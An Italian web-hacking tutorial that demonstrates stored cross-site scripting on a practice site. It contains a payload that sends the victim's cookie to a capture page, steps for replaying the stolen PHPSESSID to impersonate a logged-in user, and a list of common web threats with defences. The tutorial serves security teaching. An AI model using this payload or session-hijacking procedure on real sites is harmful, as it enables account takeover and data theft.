Come hackerare un sito web? Tecniche comuni di hacking dei siti
Tecniche di hacking dei siti web
Oggi più persone hanno accesso a Internet che mai. Ciò ha spinto molte organizzazioni a sviluppare applicazioni basate sul Web che gli utenti possono utilizzare online per interagire con l'organizzazione. Il codice scritto in modo inadeguato per le applicazioni web può essere sfruttato per ottenere l'accesso non autorizzato a dati sensibili e server web.
In questo tutorial imparerai come hackerare i siti Web e te lo presenteremo tecniche di hacking delle applicazioni web e contromisure che puoi mettere in atto per proteggerti da tali attacchi.
Come hackerare un sito web
In questo scenario pratico di hacking di siti Web, prenderemo il controllo della sessione utente dell'applicazione Web situata in www.techpanda.org. Utilizzeremo il cross site scripting per leggere l'ID della sessione del cookie e quindi utilizzarlo per impersonare una sessione utente legittima.
Si presuppone che l'aggressore abbia accesso all'applicazione web e voglia prendere il controllo delle sessioni di altri utenti che utilizzano la stessa applicazione. L'obiettivo di questo attacco potrebbe essere quello di ottenere l'accesso amministrativo all'applicazione Web presupponendo che l'account di accesso dell'aggressore sia limitato.
Passo 1) Apri URL http://www.techpanda.org/.
A scopo pratico, si consiglia vivamente di accedere utilizzando SQL Injection. Fare riferimento a questo articolo per ulteriori informazioni su come farlo.
Passo 2) Inserisci i dettagli di accesso.
L'email di accesso è admin@google.com, la password è Password2010.
Passo 3) Controlla il cruscotto.
Se hai effettuato l'accesso correttamente, otterrai la seguente dashboard
Passo 4) Inserisci nuovo contenuto.
Fare clic su Aggiungi nuovo contatto e immettere quanto segue come nome
<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>
Passo 5) Aggiungi Javascript.
Il codice precedente utilizza JavaCopione. Aggiunge un collegamento ipertestuale con un evento onclick. Quando l'utente ignaro fa clic sul collegamento, l'evento recupera il file PHP ID di sessione del cookie e lo invia al file snatch_sess_id.php
pagina insieme all'ID di sessione nell'URL
Passo 6) Aggiungi dettagli.
Inserisci i dettagli rimanenti come mostrato di seguito e fai clic su Salva modifiche
Passo 7) Controlla il cruscotto.
La tua dashboard ora apparirà come la seguente schermata
Passo 8) Controlla l'ID della sessione.
Note:: lo script potrebbe inviare il valore a un server remoto in cui è archiviato il PHPSESSID, quindi l'utente viene reindirizzato al sito Web come se nulla fosse accaduto.
Note:: il valore ottenuto potrebbe essere diverso da quello indicato in questa pagina web tutorial sull'hacking, ma il concetto è lo stesso
Rappresentazione della sessione utilizzando Firefox e componente aggiuntivo Tamper Data
Il diagramma di flusso seguente mostra i passaggi da eseguire per completare questo esercizio.
- Avrete bisogno di Firefox browser web per questa sezione e componente aggiuntivo Tamper Data
- Apri Firefox e installare l'add come mostrato nei diagrammi seguenti
- Cerca i dati di manomissione, quindi fai clic su Installa come mostrato sopra
- Fare clic su Accetta e installa...
- Fare clic su Riavvia ora al termine dell'installazione
- Abilita la barra dei menu in Firefox se non viene mostrato
- Fare clic sul menu Strumenti quindi selezionare Dati manomissione come mostrato di seguito
- Si aprirà la seguente finestra. Nota: se il Windows non è vuoto, premi il pulsante Cancella
- Fare clic sul menu Avvia Tamper
- Torna a Firefox browser Web, digitare http://www.techpanda.org/dashboard.php quindi premere il tasto Invio per caricare la pagina
- Riceverai il seguente pop-up da Tamper Data
- La finestra pop-up presenta tre (3) opzioni. L'opzione Tamper consente di modificare le informazioni dell'intestazione HTTP prima che vengano inviate al server.
- Clicca su di esso
- Si aprirà la seguente finestra
- copiare il ID sessione PHP hai copiato dall'URL dell'attacco e incollalo dopo il segno uguale. Il tuo valore ora dovrebbe assomigliare a questo
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
- Fare clic sul pulsante OK
- Verrà visualizzata nuovamente la finestra popup dei dati di manomissione
- Deseleziona la casella di controllo che chiede Continuare la manomissione?
- Al termine, fare clic sul pulsante di invio
- Dovresti essere in grado di vedere la dashboard come mostrato di seguito
Note:: non abbiamo effettuato l'accesso, abbiamo impersonato una sessione di accesso utilizzando il valore PHPSESSID recuperato utilizzando il cross site scripting
Cos'è un'applicazione Web? Cosa sono le minacce Web?
Un'applicazione web (nota anche come sito web) è un'applicazione basata sul modello client-server. IL server fornisce l'accesso al database e la logica aziendale. È ospitato su un server web. L'applicazione client viene eseguita sul browser Web client. Le applicazioni Web sono generalmente scritte in linguaggi come Java, C# e VB.Net, PHP, ColdFusion Markup Language, ecc. i motori di database utilizzati nelle applicazioni web includono MySQL, MS SQL Server, PostgreSQL, SQLite, ecc.
Principali tecniche di hacking dei siti Web
La maggior parte delle applicazioni web sono ospitate su server pubblici accessibili tramite Internet. Ciò le rende vulnerabili agli attacchi a causa della facile accessibilità. Di seguito sono riportate le minacce comuni alle applicazioni web.
- SQL Injection – l’obiettivo di questa minaccia potrebbe essere quello di aggirare gli algoritmi di accesso, sabotare i dati, ecc.
- Attacchi Denial of Service– l’obiettivo di questa minaccia potrebbe essere quello di negare agli utenti legittimi l’accesso alla risorsa
- Cross Site Scripting XSS– l’obiettivo di questa minaccia potrebbe essere quello di iniettare codice che può essere eseguito sul browser lato client.
- Avvelenamento da cookie/sessione– l’obiettivo di questa minaccia è modificare i cookie/dati di sessione da parte di un utente malintenzionato per ottenere un accesso non autorizzato.
- Manomissione dei moduli – l’obiettivo di questa minaccia è modificare i dati del modulo come i prezzi nelle applicazioni di e-commerce in modo che l’aggressore possa ottenere articoli a prezzi ridotti.
- Iniezione di codice – l’obiettivo di questa minaccia è iniettare codice come PHP, Python, ecc. che possono essere eseguiti sul server. Il codice può installare backdoor, rivelare informazioni sensibili, ecc.
- deturpazione– l'obiettivo di questa minaccia è modificare la pagina visualizzata su un sito Web e reindirizzare tutte le richieste di pagina a un'unica pagina che contiene il messaggio dell'aggressore.
Come proteggere il tuo sito web dagli attacchi hacker?
Un'organizzazione può adottare la seguente politica per proteggersi dagli attacchi al server web.
- SQL Injection – la sanificazione e la convalida dei parametri utente prima di inviarli al database per l'elaborazione può aiutare a ridurre le possibilità di essere attaccati tramite SQL Injection. Motori di database come MS SQL Server, MySQL, ecc. parametri di supporto e dichiarazioni preparate. Sono molto più sicuri delle tradizionali istruzioni SQL
- Attacchi Denial of Service – i firewall possono essere utilizzati per bloccare il traffico proveniente da indirizzi IP sospetti se l'attacco è un semplice DoS. Anche una corretta configurazione delle reti e del sistema di rilevamento delle intrusioni può aiutare a ridurre le possibilità di a Da attacchi DoS avuto successo.
- Cross Site Scripting - la convalida e la pulizia delle intestazioni, dei parametri passati tramite l'URL, dei parametri dei moduli e dei valori nascosti può aiutare a ridurre gli attacchi XSS.
- Avvelenamento da cookie/sessione – ciò può essere evitato crittografando il contenuto dei cookie, disattivando i cookie dopo un certo tempo, associando i cookie all’indirizzo IP del client utilizzato per crearli.
- Tempra di forma – ciò può essere evitato convalidando e verificando l'input dell'utente prima di elaborarlo.
- Iniezione di codice – ciò può essere evitato trattando tutti i parametri come dati anziché come codice eseguibile. Per implementare ciò è possibile utilizzare la sanificazione e la convalida.
- Deturpazione – una buona politica di sicurezza per lo sviluppo di applicazioni web dovrebbe garantire la tenuta vulnerabilità comunemente utilizzate per accedere al server web. Può trattarsi di una corretta configurazione del sistema operativo, del software del server Web e delle migliori pratiche di sicurezza durante lo sviluppo di applicazioni Web.
Sommario
- Un'applicazione web si basa sul modello server-client. Il lato client utilizza il browser Web per accedere alle risorse sul server.
- Le applicazioni Web sono generalmente accessibili tramite Internet. Ciò li rende vulnerabili agli attacchi.
- Le minacce alle applicazioni Web includono SQL Injection, Code Injection, XSS, Defacement, Cookie Poisoning, ecc.
- Una buona politica di sicurezza durante lo sviluppo di applicazioni web può aiutare a renderle sicure.